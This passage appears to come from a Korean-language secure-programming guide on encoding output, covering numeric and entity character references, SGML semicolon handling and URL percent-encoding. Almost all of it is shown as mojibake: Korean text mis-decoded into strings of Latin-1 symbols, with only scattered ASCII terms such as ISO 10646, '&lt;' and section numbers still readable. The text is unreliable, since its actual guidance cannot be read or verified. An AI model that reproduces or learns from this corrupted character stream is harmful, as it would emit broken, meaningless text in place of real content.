ºê¶ó¿ìÀú·Î ½½Â½ ³ÖÀ» ¼ö ¾øÀ½À» È®ÀÎÇÒ Çʿ䰡 ÀÖ´Ù. ÀÌ´Â UTF-7 °ú UTF-8 °ú °°ÀÌ ³Î¸® ¾²ÀÌ´Â ¸î¸î ¹®ÀÚ ÀÎÄÚµù°ú °ü·ÃµÈ ¹®Á¦ÀÌ´Ù; ´ë¾È ¹®ÀÚ ÀÎÄÚµù ¿¹¹æ ¹æ¹ý¿¡ ´ëÇØ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 4.8Àý À» º¸¶ó. ºñȣȯ ¹®ÀÚ ÀÎÄÚµùÀ» ´Ù·ç´Â ÇѰ¡Áö ¹æ¹ýÀº ¹®ÀÚ¸¦ ³»ºÎÀûÀ¸·Î ISO 10646 (À¯´ÏÄÚµå¿Í µ¿ÀÏ ¹®ÀÚ °ªÀ» °®´Â´Ù) À¸·Î ¿ì¼± º¯È¯½ÃŲ ÈÄ À̵éÀ» ³ªÅ¸³»±â À§ÇØ ¼öÄ¡ (numeric) ¹®ÀÚ ÂüÁ¶ ¶Ç´Â ¹®ÀÚ ¿£Æ¼Æ¼ ÂüÁ¶¸¦ »ç¿ëÇÏ´Â °ÍÀÌ´Ù.

  • ¼öÄ¡ ¹®ÀÚ ÂüÁ¶´Â "&#D;" ¶Ç´Â "&#xH;" ¶Ç´Â "&#XH" ¿Í °°ÀÌ º¸ÀδÙ. D ´Â ½ÊÁø¼ö, H ´Â ½ÊÀ°Áø¼öÀÌ´Ù. ÁÖ¾îÁø ¼ö´Â ISO 10646 ¹®ÀÚ id ·Î À¯´ÏÄÚµå¿Í µ¿ÀÏÇÑ ¹®ÀÚ °ªÀ» °®´Â´Ù. µû¶ó¼­ &#1048 Àº Cyrillic ´ë¹®ÀÚ "I" ÀÌ´Ù. ½ÊÀ°Áø¹ý ½Ã½ºÅÛÀº SGML Ç¥ÁØ (ISO 8879) ¿¡¼­ Áö¿øµÇÁö ¾Ê´Âµ¥ µû¶ó¼­ ÀúÀÚ´Â Ãâ·Â¿¡ ½ÊÁø¹ý ½Ã½ºÅÛÀ» »ç¿ëÇϱ⸦ Á¦¾ÈÇÑ´Ù. ¶ÇÇÑ SGML ½ºÆåÀÌ ¸¶Áö¸· ¼¼¹ÌÄÝ·ÐÀÌ ¾î¶² »óȲ¿¡¼­ »ý·«µÇ´Â °ÍÀ» Çã¿ëÇÔ¿¡µµ ºÒ±¸ÇÏ°í ½ÇÁ¦·Î ¸¹Àº ½Ã½ºÅÛÀº À̸¦ ´Ù·çÁö ¸øÇÑ´Ù - ±×·¡¼­ ¸¶Áö¸· ¼¼¹ÌÄÝ·ÐÀ» ´Ã Æ÷ÇÔÇØ¶ó.

  • ¹®ÀÚ ¿£Æ¼Æ¼ ÂüÁ¶´Â µ¿ÀÏÇÏÁö¸¸ ¼ýÀÚ ´ë½Å ÀÇ»ç ±âÈ£ (mnemonic) À̸§À» »ç¿ëÇÑ´Ù. ¿¹¸¦ µé¾î "&lt;" ´Â < ±âÈ£¸¦ ³ªÅ¸³½´Ù. HTML À» »ý¼ºÇÑ´Ù¸é ¸ðµç ÀÇ»ç ±âÈ£ À̸§À» ¿­°ÅÇϰí ÀÖ´Â HTML ½ºÆå À» º¸¶ó.

¼ýÀÚ ¶Ç´Â ¹®ÀÚ ¿£Æ¼Æ¼´Â ÀÛµ¿ÇÑ´Ù; ÀúÀÚ´Â '<', '>', '&' ¿Í '"' ¿¡ ´ëÇØ ¹®ÀÚ ¿£Æ¼Æ¼ ÂüÁ¶¸¦ »ç¿ëÇϱ⸦ Á¦¾ÈÇϴµ¥ ÀÌ´Â Äڵ尡 »ç¶÷µéÀÌ ÀÌÇØÇϱ⠽±±â ¶§¹®ÀÌ´Ù. ±×¿Ü¿¡´Â µÑÁßÀÇ ¾î¶² ½Ã½ºÅÛÀÌ ´õ¿í ÁÁÀºÁö´Â ¸í¹éÇÏÁö ¾Ê´Ù. ÃßÈÄ »ç¶÷ÀÌ Á÷Á¢ Ãâ·ÂÀ» ÆíÁýÇÑ´Ù°í Çϸé ÇÒ ¼ö ÀÖ´Â ÇÑ ¹®ÀÚ ¿£Æ¼Æ¼ ÂüÁ¶¸¦ »ç¿ëÇØ¶ó ±×·¸Áö ¾Ê´Ù¸é ÀúÀÚ´Â ÇÁ·Î±×·¡¹ÖÇϱ⠽¬¿î ½ÊÁø¹ý ¼öÄ¡ ¹®ÀÚ ÂüÁ¶¸¦ »ç¿ëÇÑ´Ù. ÀÌ·¯ÇÑ ÀÎÄÚµù ½Ã½ºÅÛÀº ƯÈ÷ ¾Æ½Ã¾Æ±Ç ¾ð¾î¿¡ ´ëÇØ ¸Å¿ì ºñÈ¿À²ÀûÀÌ´Ù; À̰ÍÀÌ ¿ì¼± °ü½É»ç¶ó¸é ´Ù¸¥ ¹®ÀÚ ÀÎÄÚµù (charset) À» »ç¿ëÇϰųª Áß¿äÇÑ ¹®ÀÚ¸¦ ÇÊÅ͸µÇϰųª Áß¿äÇÑ ¹®ÀÚ¿¡ ´ëÇØ ¾î¶² ´ëü ÀÎÄÚµùµµ Çã¿ëµÇÁö ¾Ê´ÂÁö È®ÀÎÇÏ°í ½ÍÀ» °ÍÀÌ´Ù.

URI ´Â URL ÀÎÄÚµùÀ̶ó°í ÇÏ´Â ÀڽŸ¸ÀÇ ÀÎÄÚµù ½ºÅ´À» °®°í ÀÖ´Ù. ÀÌ·¯ÇÑ ½Ã½ºÅÛ¿¡¼­ URL ¿¡ Çã¿ëµÇÁö ¾ÊÀº ¹®ÀÚ´Â ÆÛ¼¾Æ®±âÈ£¿Í two-digit ½ÊÀ°Áø¼ö°ªÀ¸·Î Ç¥ÇöµÈ´Ù. ISO 10646 (Unicode) ÀÇ ¸ðµç °ÍÀ» ´Ù·ç±â À§Çؼ­´Â ¿ì¼± Äڵ带 UTF-8 ·Î º¯È¯ÇÑ ÈÄ À̸¦ ÀÎÄÚµåÇϱ⸦ ÃßõÇÑ´Ù. À¯È¿ÇÑ URI ¿¡ ´ëÇØ¼­´Â 4.10.4Àý ¸¦ º¸¶ó.